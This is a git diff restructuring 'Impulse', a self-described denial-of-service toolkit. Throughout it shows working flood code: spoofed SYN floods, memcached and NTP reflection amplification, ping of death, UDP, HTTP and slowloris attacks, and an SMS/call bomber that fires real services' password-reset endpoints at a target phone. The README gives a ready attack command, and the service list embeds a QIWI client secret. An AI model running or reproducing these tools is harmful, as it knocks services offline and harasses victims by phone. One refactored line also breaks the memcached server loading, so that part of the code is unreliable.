diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..7f95539
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,216 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[codz]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+share/python-wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.nox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+*.py.cover
+.hypothesis/
+.pytest_cache/
+cover/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+db.sqlite3-journal
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+.pybuilder/
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# IPython
+profile_default/
+ipython_config.py
+
+# pyenv
+# For a library or package, you might want to ignore these files since the code is
+# intended to run in multiple environments; otherwise, check them in:
+.python-version
+
+# pipenv
+# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
+# However, in case of collaboration, if having platform-specific dependencies or dependencies
+# having no cross-platform support, pipenv may install dependencies that don't work, or not
+# install all needed dependencies.
+# Pipfile.lock
+
+# UV
+# Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control.
+# This is especially recommended for binary packages to ensure reproducibility, and is more
+# commonly ignored for libraries.
+uv.lock
+
+# poetry
+# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
+# This is especially recommended for binary packages to ensure reproducibility, and is more
+# commonly ignored for libraries.
+# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
+# poetry.lock
+# poetry.toml
+
+# pdm
+# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
+# pdm recommends including project-wide configuration in pdm.toml, but excluding .pdm-python.
+# https://pdm-project.org/en/latest/usage/project/#working-with-version-control
+# pdm.lock
+# pdm.toml
+.pdm-python
+.pdm-build/
+
+# pixi
+# Similar to Pipfile.lock, it is generally recommended to include pixi.lock in version control.
+# pixi.lock
+# Pixi creates a virtual environment in the .pixi directory, just like venv module creates one
+# in the .venv directory. It is recommended not to include this directory in version control.
+.pixi
+
+# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
+__pypackages__/
+
+# Celery stuff
+celerybeat-schedule
+celerybeat.pid
+
+# Redis
+*.rdb
+*.aof
+*.pid
+
+# RabbitMQ
+mnesia/
+rabbitmq/
+rabbitmq-data/
+
+# ActiveMQ
+activemq-data/
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.envrc
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Cython debug symbols
+cython_debug/
+
+# PyCharm
+# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
+# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
+# and can be added to the global gitignore or merged into this file. For a more nuclear
+# option (not recommended) you can uncomment the following to ignore the entire idea folder.
+# .idea/
+
+# Abstra
+# Abstra is an AI-powered process automation framework.
+# Ignore directories containing user credentials, local state, and settings.
+# Learn more at https://abstra.io/docs
+.abstra/
+
+# Visual Studio Code
+# Visual Studio Code specific template is maintained in a separate VisualStudioCode.gitignore
+# that can be found at https://github.com/github/gitignore/blob/main/Global/VisualStudioCode.gitignore
+# and can be added to the global gitignore or merged into this file. However, if you prefer,
+# you could uncomment the following to ignore the entire vscode folder
+# .vscode/
+
+# Ruff stuff:
+.ruff_cache/
+
+# PyPI configuration file
+.pypirc
+
+# Marimo
+marimo/_static/
+marimo/_lsp/
+__marimo__/
+
+# Streamlit
+.streamlit/secrets.toml
diff --git a/.vscode/settings.json b/.vscode/settings.json
new file mode 100644
index 0000000..f5e4817
--- /dev/null
+++ b/.vscode/settings.json
@@ -0,0 +1,23 @@
+{
+ // Linter settings
+ "[python]": {
+ "editor.formatOnPaste": true,
+ "editor.formatOnSave": true,
+ "editor.formatOnType": true,
+ "editor.defaultFormatter": "charliermarsh.ruff"
+ },
+
+ // Files view
+ "files.autoSave": "afterDelay",
+ "files.exclude": {
+ "**/__pycache__": true,
+ "**/.venv": true,
+ "**/.ruff_cache": true,
+ "**/.mypy_cache": true,
+ ".python-version": true,
+ "uv.lock": true,
+ },
+
+ // Editor
+ "editor.rulers": [88],
+}
diff --git a/README.md b/README.md
index 8bdc57f..341bf06 100644
--- a/README.md
+++ b/README.md
@@ -1,17 +1,19 @@
# :bomb: Impulse
-## Modern Denial-of-service ToolKit
+## Modern Denial-of-service ToolKit
# :computer: Main window
+
# :satellite: Methods:
+
| Method | Target | Description |
| ---------------------| -----------|-------------|
| SMS | PHONE | Sends a massive amount of SMS messages and calls to a single target |
@@ -26,6 +28,7 @@
| Memcached | IP:PORT | A memcached distributed denial-of-service (DDoS) attack is a type of cyber attack in which an attacker attempts to overload a targeted victim with internet traffic. The attacker spoofs requests to a vulnerable UDP memcached* server, which then floods a targeted victim with internet traffic, potentially overwhelming the victim’s resources. While the target’s internet infrastructure is overloaded, new requests cannot be processed and regular traffic is unable to access the internet resource, resulting in denial-of-service. |
# :gift: Installation:
+
* Windows:
* Download Python 3.8 from [here](https://www.python.org/downloads/release/python-38)
* Launch installer, click `add python to PATH`
@@ -51,13 +54,17 @@
* `python3 impulse.py --help`
# :phone: Example SMS & Call flood:
-```python3 impulse.py --method SMS --time 20 --threads 15 --target +380123456789```
+
+```
+python3 impulse.py --method SMS --time 20 --threads 15 --target +380123456789
+```
# :moneybag: Donate:
+
* BTC - `bc1q3m8t7shcge2smsxwm2fnwlet3j8km9q6jeqw0l`
* LTC - `LMcv6gt2YHDFR6t4Mb8SimKL4BsRzUpzKS`
* TRX - `TCEo2JkogrpMkQUvEDZs2UhtYi7YgYbrV3`
diff --git a/tools/EMAIL/emailTools.py b/impulse/EMAIL/email_tools.py
similarity index 56%
rename from tools/EMAIL/emailTools.py
rename to impulse/EMAIL/email_tools.py
index 2105f26..e7d625c 100644
--- a/tools/EMAIL/emailTools.py
+++ b/impulse/EMAIL/email_tools.py
@@ -1,26 +1,30 @@
-# Import modules
+import json
import os
import sys
-import json
-from colorama import Fore
from getpass import getpass, getuser
-from smtplib import SMTPAuthenticationError, SMTP
+from pathlib import Path
+from smtplib import SMTP, SMTPAuthenticationError
+
+from colorama import Fore
+
# https://github.com/LimerBoy/Twilight-Algoritm
-from tools.addons.twilight.twilight import Decrypt, Encrypt
+from impulse.addons.twilight.twilight import Decrypt, Encrypt
# File with login data
-sender_email_database = "tools/EMAIL/sender.json"
+sender_email_database = "impulse/EMAIL/sender.json"
twilight_encryption_key = getuser() + ":TWILIGHT"
smtp_server = "smtp.gmail.com"
smtp_port = 587
-""" Write sender email """
-
-
def WriteSenderEmail():
- username = input(f"{Fore.BLUE}[?] {Fore.MAGENTA}Please enter your gmail address from which messages will be sent: {Fore.BLUE}")
- password = getpass(f"{Fore.BLUE}[?] {Fore.MAGENTA}Please enter your gmail password: {Fore.BLUE}")
+ """Write sender email."""
+ username = input(
+ f"{Fore.BLUE}[?] {Fore.MAGENTA}Please enter your gmail address from which messages will be sent: {Fore.BLUE}",
+ )
+ password = getpass(
+ f"{Fore.BLUE}[?] {Fore.MAGENTA}Please enter your gmail password: {Fore.BLUE}",
+ )
server = SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
@@ -30,41 +34,43 @@ def WriteSenderEmail():
except SMTPAuthenticationError:
print(
f"{Fore.RED}[!] {Fore.MAGENTA}Wrong password from account or try enable this:"
- f"\n https://myaccount.google.com/lesssecureapps{Fore.RESET}"
+ f"\n https://myaccount.google.com/lesssecureapps{Fore.RESET}",
)
sys.exit(1)
else:
- print(
- f"{Fore.GREEN}[+] {Fore.YELLOW}Successfully logged in{Fore.RESET}"
- )
+ print(f"{Fore.GREEN}[+] {Fore.YELLOW}Successfully logged in{Fore.RESET}")
# Saved data to db?
- confirm = input(f"{Fore.BLUE}[?] {Fore.MAGENTA}Should this information be retained for future reference? (y/n) : {Fore.BLUE}")
+ confirm = input(
+ f"{Fore.BLUE}[?] {Fore.MAGENTA}Should this information be retained for future reference? (y/n) : {Fore.BLUE}",
+ )
confirm = confirm.upper() in ("Y", "YES", "1", "TRUE")
if confirm:
# Write database
- with open(sender_email_database, "w") as db:
+ with Path(sender_email_database).open("w") as db:
json.dump(
{
"username": Encrypt(username, twilight_encryption_key),
- "password": Encrypt(password, twilight_encryption_key)
- }, db
+ "password": Encrypt(password, twilight_encryption_key),
+ },
+ db,
)
print(
- f"{Fore.GREEN}[+] {Fore.YELLOW}Data saved to: {repr(sender_email_database)}{Fore.RESET}"
+ f"{Fore.GREEN}[+] {Fore.YELLOW}Data saved to: {sender_email_database!r}{Fore.RESET}",
)
return [server, username]
-""" Read sender email """
+def ReadSenderEmail() -> list:
+ """Read sender email."""
+ p = Path(sender_email_database)
-def ReadSenderEmail():
# Create if not exists
- if not os.path.exists(sender_email_database):
+ if not p.exists():
return WriteSenderEmail()
# Read database
- with open(sender_email_database, "r") as db:
+ with p.open() as db:
auth = json.load(db)
auth["username"] = Decrypt(auth["username"], twilight_encryption_key)
auth["password"] = Decrypt(auth["password"], twilight_encryption_key)
@@ -73,14 +79,9 @@ def ReadSenderEmail():
server.ehlo()
server.starttls()
try:
- server.login(
- auth["username"],
- auth["password"]
- )
+ server.login(auth["username"], auth["password"])
except SMTPAuthenticationError:
- print(
- f"{Fore.RED}[!] {Fore.MAGENTA}Wrong email password{Fore.RESET}"
- )
+ print(f"{Fore.RED}[!] {Fore.MAGENTA}Wrong email password{Fore.RESET}")
os.remove(sender_email_database)
sys.exit(1)
else:
diff --git a/tools/EMAIL/main.py b/impulse/EMAIL/main.py
similarity index 84%
rename from tools/EMAIL/main.py
rename to impulse/EMAIL/main.py
index e6a190b..a7989a6 100644
--- a/tools/EMAIL/main.py
+++ b/impulse/EMAIL/main.py
@@ -1,7 +1,9 @@
# Import modules
-from colorama import Fore
from random import _urandom, randint
+from colorama import Fore
+
+
# Generate random data
def __rand():
size = randint(10, 90)
@@ -23,9 +25,7 @@ def flood(target):
server.sendmail(username, target, msg.encode("utf-8"))
except Exception as err:
print(
- f"{Fore.MAGENTA}Error while sending mail\n{Fore.MAGENTA}{err}{Fore.RESET}"
+ f"{Fore.MAGENTA}Error while sending mail\n{Fore.MAGENTA}{err}{Fore.RESET}",
)
else:
- print(
- f"{Fore.GREEN}[+] {Fore.YELLOW}Mail sent to {target}.{Fore.RESET}"
- )
+ print(f"{Fore.GREEN}[+] {Fore.YELLOW}Mail sent to {target}.{Fore.RESET}")
diff --git a/tools/L4/icmp.py b/impulse/L4/icmp.py
similarity index 63%
rename from tools/L4/icmp.py
rename to impulse/L4/icmp.py
index 9d12135..0a6008d 100644
--- a/tools/L4/icmp.py
+++ b/impulse/L4/icmp.py
@@ -1,11 +1,15 @@
# Import modules
-from scapy.all import IP, TCP, send, RandShort
from colorama import Fore
+from scapy.all import IP, TCP, RandShort, send
def flood(target):
packet = IP(dst=target[0]) / TCP(
- dport=target[1], flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort()
+ dport=target[1],
+ flags="S",
+ seq=RandShort(),
+ ack=RandShort(),
+ sport=RandShort(),
)
for i in range(4):
@@ -13,9 +17,9 @@ def flood(target):
send(packet, verbose=False)
except Exception as e:
print(
- f"{Fore.RED}[!] {Fore.MAGENTA}Error while sending 'ICMP'\n{Fore.MAGENTA}{e}{Fore.RESET}"
+ f"{Fore.RED}[!] {Fore.MAGENTA}Error while sending 'ICMP'\n{Fore.MAGENTA}{e}{Fore.RESET}",
)
else:
print(
- f"{Fore.GREEN}[+] {Fore.YELLOW}ICMP packet send to {target[0]} {Fore.RESET}"
+ f"{Fore.GREEN}[+] {Fore.YELLOW}ICMP packet send to {target[0]} {Fore.RESET}",
)
diff --git a/tools/L4/memcached.py b/impulse/L4/memcached.py
similarity index 75%
rename from tools/L4/memcached.py
rename to impulse/L4/memcached.py
index 85d71e2..8310dc9 100644
--- a/tools/L4/memcached.py
+++ b/impulse/L4/memcached.py
@@ -1,11 +1,12 @@
-# Import modules
import random
-from scapy.all import IP, UDP, send, Raw
+from pathlib import Path
+
from colorama import Fore
+from scapy.all import IP, UDP, Raw, send
# Load MEMCACHED servers list
-with open("tools/L4/memcached_servers.txt", "r") as f:
- memcached_servers = f.readlines()
+with Path("impulse/L4/memcached_servers.txt").open() as f:
+ memcached_servers = f
# Payload
payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
@@ -25,9 +26,9 @@ def flood(target):
send(packet, count=packets, verbose=False)
except Exception as e:
print(
- f"{Fore.MAGENTA}Error while sending forged UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}"
+ f"{Fore.MAGENTA}Error while sending forged UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}",
)
else:
print(
- f"{Fore.GREEN}[+] {Fore.YELLOW}Sending {packets} forged UDP packets from memcached server {server} to {'{}:{}'.format(*target)}.{Fore.RESET}"
+ f"{Fore.GREEN}[+] {Fore.YELLOW}Sending {packets} forged UDP packets from memcached server {server} to {'{}:{}'.format(*target)}.{Fore.RESET}",
)
diff --git a/tools/L4/memcached_servers.txt b/impulse/L4/memcached_servers.txt
similarity index 100%
rename from tools/L4/memcached_servers.txt
rename to impulse/L4/memcached_servers.txt
diff --git a/tools/L4/ntp.py b/impulse/L4/ntp.py
similarity index 81%
rename from tools/L4/ntp.py
rename to impulse/L4/ntp.py
index a710e1e..9b0e9a1 100644
--- a/tools/L4/ntp.py
+++ b/impulse/L4/ntp.py
@@ -1,11 +1,12 @@
-# Import modules
import random
-from scapy.all import IP, send, Raw, UDP
+from pathlib import Path
from socket import gaierror
+
from colorama import Fore
+from scapy.all import IP, UDP, Raw, send
# Load NTP servers list
-with open("tools/L4/ntp_servers.txt", "r") as f:
+with Path("impulse/L4/ntp_servers.txt").open() as f:
ntp_servers = f.readlines()
# Payload
@@ -27,13 +28,13 @@ def flood(target):
send(packet, count=packets, verbose=False)
except gaierror:
print(
- f"{Fore.RED}[!] {Fore.MAGENTA}NTP server {server} is offline!{Fore.RESET}"
+ f"{Fore.RED}[!] {Fore.MAGENTA}NTP server {server} is offline!{Fore.RESET}",
)
except Exception as e:
print(
- f"{Fore.MAGENTA}Error while sending NTP packet\n{Fore.MAGENTA}{e}{Fore.RESET}"
+ f"{Fore.MAGENTA}Error while sending NTP packet\n{Fore.MAGENTA}{e}{Fore.RESET}",
)
else:
print(
- f"{Fore.GREEN}[+] {Fore.YELLOW}Sending {packets} packets from NTP server {server} to {'{}:{}'.format(*target)}.{Fore.RESET}"
+ f"{Fore.GREEN}[+] {Fore.YELLOW}Sending {packets} packets from NTP server {server} to {'{}:{}'.format(*target)}.{Fore.RESET}",
)
diff --git a/tools/L4/ntp_servers.txt b/impulse/L4/ntp_servers.txt
similarity index 100%
rename from tools/L4/ntp_servers.txt
rename to impulse/L4/ntp_servers.txt
diff --git a/tools/L4/pod.py b/impulse/L4/pod.py
similarity index 79%
rename from tools/L4/pod.py
rename to impulse/L4/pod.py
index c000cd3..e5aa0c3 100644
--- a/tools/L4/pod.py
+++ b/impulse/L4/pod.py
@@ -1,7 +1,8 @@
# Import modules
import random
-from scapy.all import IP, ICMP, send, fragment
+
from colorama import Fore
+from scapy.all import ICMP, IP, send
__letters = list("1234567890qwertyuiopasdfghjklzxcvbnm")
@@ -15,9 +16,9 @@ def flood(target):
send(packet, verbose=False)
except Exception as e:
print(
- f"{Fore.RED}[!] {Fore.MAGENTA}Error while sending 'Ping Of Death'\n{Fore.MAGENTA}{e}{Fore.RESET}"
+ f"{Fore.RED}[!] {Fore.MAGENTA}Error while sending 'Ping Of Death'\n{Fore.MAGENTA}{e}{Fore.RESET}",
)
else:
print(
- f"{Fore.GREEN}[+] {Fore.YELLOW}65535 bytes send to {target[0]} {Fore.RESET}"
+ f"{Fore.GREEN}[+] {Fore.YELLOW}65535 bytes send to {target[0]} {Fore.RESET}",
)
diff --git a/tools/L4/syn.py b/impulse/L4/syn.py
similarity index 79%
rename from tools/L4/syn.py
rename to impulse/L4/syn.py
index 1bd4e7e..d116815 100644
--- a/tools/L4/syn.py
+++ b/impulse/L4/syn.py
@@ -1,13 +1,15 @@
# Import modules
import random
-from scapy.all import IP, TCP, send
-import tools.randomData as randomData
+
from colorama import Fore
+from scapy.all import IP, TCP, send
+
+from impulse import random_data
def flood(target):
IP_Packet = IP()
- IP_Packet.src = randomData.random_IP()
+ IP_Packet.src = random_data.random_IP()
IP_Packet.dst = target[0]
TCP_Packet = TCP()
@@ -22,9 +24,9 @@ def flood(target):
send(IP_Packet / TCP_Packet, verbose=False)
except Exception as e:
print(
- f"{Fore.MAGENTA}Error while sending SYN packet\n{Fore.MAGENTA}{e}{Fore.RESET}"
+ f"{Fore.MAGENTA}Error while sending SYN packet\n{Fore.MAGENTA}{e}{Fore.RESET}",
)
else:
print(
- f"{Fore.GREEN}[+] {Fore.YELLOW}SYN packet sent to {'{}:{}'.format(*target)}.{Fore.RESET}"
+ f"{Fore.GREEN}[+] {Fore.YELLOW}SYN packet sent to {'{}:{}'.format(*target)}.{Fore.RESET}",
)
diff --git a/tools/L4/udp.py b/impulse/L4/udp.py
similarity index 83%
rename from tools/L4/udp.py
rename to impulse/L4/udp.py
index 1e47c90..2b54ee0 100644
--- a/tools/L4/udp.py
+++ b/impulse/L4/udp.py
@@ -1,6 +1,7 @@
# Import modules
import random
import socket
+
from colorama import Fore
# Create socket
@@ -14,9 +15,9 @@ def flood(target):
sock.sendto(payload, (target[0], target[1]))
except Exception as e:
print(
- f"{Fore.MAGENTA}Error while sending UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}"
+ f"{Fore.MAGENTA}Error while sending UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}",
)
else:
print(
- f"{Fore.GREEN}[+] {Fore.YELLOW}UDP random packet sent! Payload size: {len(payload)}. {Fore.RESET}"
+ f"{Fore.GREEN}[+] {Fore.YELLOW}UDP random packet sent! Payload size: {len(payload)}. {Fore.RESET}",
)
diff --git a/tools/L7/http.py b/impulse/L7/http.py
similarity index 80%
rename from tools/L7/http.py
rename to impulse/L7/http.py
index 9f2e74d..df69516 100644
--- a/tools/L7/http.py
+++ b/impulse/L7/http.py
@@ -1,13 +1,15 @@
# Import modules
-import requests
import random
-import tools.randomData as randomData
+
+import requests
from colorama import Fore
+from impulse import random_data
+
# Load user agents
user_agents = []
for _ in range(30):
- user_agents.append(randomData.random_useragent())
+ user_agents.append(random_data.random_useragent())
# Headers
headers = {
@@ -28,9 +30,9 @@ def flood(target):
print(f"{Fore.RED}[!] {Fore.MAGENTA}Timed out{Fore.RESET}")
except Exception as e:
print(
- f"{Fore.MAGENTA}Error while sending GET request\n{Fore.MAGENTA}{e}{Fore.RESET}"
+ f"{Fore.MAGENTA}Error while sending GET request\n{Fore.MAGENTA}{e}{Fore.RESET}",
)
else:
print(
- f"{Fore.GREEN}[{r.status_code}] {Fore.YELLOW}Request sent! Payload size: {len(payload)}.{Fore.RESET}"
+ f"{Fore.GREEN}[{r.status_code}] {Fore.YELLOW}Request sent! Payload size: {len(payload)}.{Fore.RESET}",
)
diff --git a/tools/L7/referers.txt b/impulse/L7/referers.txt
similarity index 100%
rename from tools/L7/referers.txt
rename to impulse/L7/referers.txt
diff --git a/tools/L7/slowloris.py b/impulse/L7/slowloris.py
similarity index 73%
rename from tools/L7/slowloris.py
rename to impulse/L7/slowloris.py
index 3a8d853..7ec2678 100644
--- a/tools/L7/slowloris.py
+++ b/impulse/L7/slowloris.py
@@ -1,9 +1,12 @@
# Import modules
import random
import socket
-import tools.randomData as randomData
+
from colorama import Fore
+from impulse import random_data
+
+
# Init socket
def create_socket(target):
try:
@@ -12,15 +15,15 @@ def create_socket(target):
sock.connect((target[0], target[1]))
sock.send(
- "GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8")
+ f"GET /?{random.randint(0, 2000)} HTTP/1.1\r\n".encode(),
)
sock.send(
- "User-Agent: {}\r\n".format(randomData.random_useragent()).encode("utf-8")
+ f"User-Agent: {random_data.random_useragent()}\r\n".encode(),
)
sock.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
- except socket.timeout:
+ except TimeoutError:
print(f"{Fore.RED}[-] {Fore.MAGENTA}Timed out..{Fore.RESET}")
- except socket.error:
+ except OSError:
print(f"{Fore.RED}[-] {Fore.MAGENTA}Failed create socket{Fore.RESET}")
else:
print(f"{Fore.GREEN}[+] {Fore.YELLOW}Socket created..{Fore.RESET}")
@@ -39,13 +42,13 @@ def flood(target):
for _ in range(4):
for index, sock in enumerate(sockets):
try:
- sock.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
- except socket.error:
+ sock.send(f"X-a: {random.randint(1, 5000)}\r\n".encode())
+ except OSError:
print(
- f"{Fore.RED}[-] {Fore.MAGENTA}Failed to send keep-alive headers{Fore.RESET}"
+ f"{Fore.RED}[-] {Fore.MAGENTA}Failed to send keep-alive headers{Fore.RESET}",
)
sockets.remove(sock)
else:
print(
- f"{Fore.GREEN}[+] {Fore.YELLOW}Sending keep-alive headers to {'{}:{}'.format(*target)} from socket {index + 1}. {Fore.RESET}"
+ f"{Fore.GREEN}[+] {Fore.YELLOW}Sending keep-alive headers to {'{}:{}'.format(*target)} from socket {index + 1}. {Fore.RESET}",
)
diff --git a/impulse/SMS/main.py b/impulse/SMS/main.py
new file mode 100644
index 0000000..ae6bfec
--- /dev/null
+++ b/impulse/SMS/main.py
@@ -0,0 +1,12 @@
+import random
+
+import impulse.SMS.send_request as request
+
+__services = request.getServices()
+
+
+def flood(target):
+ """Get services list."""
+ service = random.choice(__services)
+ service = request.Service(service)
+ service.sendMessage(target)
diff --git a/tools/SMS/names.json b/impulse/SMS/names.json
similarity index 100%
rename from tools/SMS/names.json
rename to impulse/SMS/names.json
diff --git a/tools/SMS/proxy.json b/impulse/SMS/proxy.json
similarity index 100%
rename from tools/SMS/proxy.json
rename to impulse/SMS/proxy.json
diff --git a/impulse/SMS/random_data.py b/impulse/SMS/random_data.py
new file mode 100644
index 0000000..d177cff
--- /dev/null
+++ b/impulse/SMS/random_data.py
@@ -0,0 +1,67 @@
+import json
+import random
+import string
+from pathlib import Path
+
+from fake_useragent import UserAgent
+
+ua = UserAgent()
+
+
+MAILS = (
+ "mail.ru",
+ "inbox.ru",
+ "list.ru",
+ "bk.ru",
+ "ya.ru",
+ "yandex.com",
+ "yandex.ua",
+ "yandex.ru",
+ "gmail.com",
+)
+
+
+def random_name() -> str:
+ """Create random name."""
+ with Path("impulse/SMS/names.json").open() as names:
+ return random.choice(json.load(names)["names"])
+
+
+def random_suffix(int_range: int | None = 4) -> str:
+ """Create random suffix for email.
+
+ %random_name%SUFFIX@%random_email%
+ """
+ return "".join(
+ [str(random.randint(1, 9)) for _ in range(int_range)],
+ )
+
+
+def random_email() -> str:
+ """Create random email by name, suffix, mail.
+
+ Example: Jefferson3715@gmail.com
+ """
+ return random_name() + random_suffix() + "@" + random.choice(MAILS)
+
+
+def random_password() -> str:
+ """Create random password.
+
+ %random_name%%random_suffix%
+ """
+ return random_name() + random_suffix(10)
+
+
+def random_token() -> str:
+ """Create random token.
+
+ %token%
+ """
+ letters = string.ascii_letters + string.digits
+ return "".join(random.choice(letters) for _ in range(random.randint(20, 50)))
+
+
+def random_useragent() -> str:
+ """Get random user agent."""
+ return ua.random
diff --git a/tools/SMS/sendRequest.py b/impulse/SMS/send_request.py
similarity index 75%
rename from tools/SMS/sendRequest.py
rename to impulse/SMS/send_request.py
index 9fe626c..bfd73ee 100644
--- a/tools/SMS/sendRequest.py
+++ b/impulse/SMS/send_request.py
@@ -1,31 +1,38 @@
-# Import modules
import json
+from pathlib import Path
+
import requests
from colorama import Fore
-import tools.SMS.randomData as randomData
+
+from impulse.SMS import random_data
+
+SERVICES_PATH = "impulse/SMS/services.json"
+PROXY_PATH = "impulse/SMS/proxy.json"
-# Read services file
-def getServices(file="tools/SMS/services.json"):
- with open(file, "r", encoding="utf-8", errors="ignore") as services:
+def getServices(filename: str | None = SERVICES_PATH) -> str:
+ """Read services file."""
+ with Path(filename).open(encoding="utf-8", errors="ignore") as services:
return json.load(services)["services"]
-# Read proxy list
-def getProxys(file="tools/SMS/proxy.json"):
- with open(file, "r") as proxys:
+def getProxys(filename: str | None = PROXY_PATH) -> str:
+ """Read proxy list."""
+ with Path(filename).open() as proxys:
return json.load(proxys)["proxy"]
-# Get domain by big url
-def getDomain(url):
+def getDomain(url: str):
+ """Get domain by big url."""
return url.split("/")[2]
-# Make for other services
-def transformPhone(phone, i):
- # Pizzahut
- if i == 5:
+def transformPhone(phone: str, i: int):
+ """Make for other services (for Pizzahut).
+
+ Example: '+7 (915) 350 99 08'
+ """
+ if i == 5: # noqa: PLR2004
return (
"+"
+ phone[0]
@@ -37,7 +44,8 @@ def transformPhone(phone, i):
+ phone[7:9]
+ " "
+ phone[9:11]
- ) # '+7 (915) 350 99 08'
+ )
+ return None
# Headers for request
@@ -47,9 +55,10 @@ def transformPhone(phone, i):
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"Accept-Encoding": "gzip, deflate, br",
- "User-agent": randomData.random_useragent(),
+ "User-agent": random_data.random_useragent(),
}
+
# Service class
# parseData, SendSMS
class Service:
@@ -78,10 +87,10 @@ def parseData(self, phone):
"'": '"',
"%phone%": phone,
"%phone5%": transformPhone(phone, 5),
- "%name%": randomData.random_name(),
- "%email%": randomData.random_email(),
- "%password%": randomData.random_password(),
- "%token%": randomData.random_token(),
+ "%name%": random_data.random_name(),
+ "%email%": random_data.random_email(),
+ "%password%": random_data.random_password(),
+ "%token%": random_data.random_token(),
}.items():
if old in payload:
payload = payload.replace(old, new)
diff --git a/tools/SMS/services.json b/impulse/SMS/services.json
similarity index 95%
rename from tools/SMS/services.json
rename to impulse/SMS/services.json
index e09d462..9f9fe9b 100644
--- a/tools/SMS/services.json
+++ b/impulse/SMS/services.json
@@ -1,16 +1,16 @@
{
"services": [
- {
- "url": "https://my.telegram.org/auth/send_password",
- "data": "{'phone':'+%phone%'}"
- },
+ {
+ "url": "https://my.telegram.org/auth/send_password",
+ "data": "{'phone':'+%phone%'}"
+ },
{
"url": "https://pizzahut.ru/account/password-reset",
"data": "{'reset_by':'phone', 'action_id':'pass-recovery', 'phone': '%phone5%', '_token':'*'}"
},
{
- "url": "https://mobile-api.qiwi.com/oauth/authorize",
- "data": "{'response_type': 'urn:qiwi:oauth:response-type:confirmation-id', 'username': '%phone%', 'client_id': 'android-qw', 'client_secret': 'zAm4FKq9UnSe7id'}"
+ "url": "https://mobile-api.qiwi.com/oauth/authorize",
+ "data": "{'response_type': 'urn:qiwi:oauth:response-type:confirmation-id', 'username': '%phone%', 'client_id': 'android-qw', 'client_secret': 'zAm4FKq9UnSe7id'}"
},
{
"url": "https://www.rabota.ru/remind",
diff --git a/impulse.py b/impulse/__main__.py
similarity index 61%
rename from impulse.py
rename to impulse/__main__.py
index aaa3f1f..c0ff967 100644
--- a/impulse.py
+++ b/impulse/__main__.py
@@ -1,18 +1,13 @@
# Created by LimerBoy
-# Import modules
-import os
-import sys
import argparse
-
-# Go to current dir
-os.chdir(os.path.dirname(os.path.realpath(__file__)))
+import sys
try:
- from tools.crash import CriticalError
- import tools.addons.clean
- import tools.addons.logo
- import tools.addons.winpcap
- from tools.method import AttackMethod
+ import impulse.addons.clean
+ import impulse.addons.logo
+ import impulse.addons.winpcap
+ from impulse.crash import CriticalError
+ from impulse.method import AttackMethod
except ImportError as err:
CriticalError("Failed import some modules", err)
sys.exit(1)
@@ -32,10 +27,18 @@
help="Attack method",
)
parser.add_argument(
- "--time", type=int, default=10, metavar="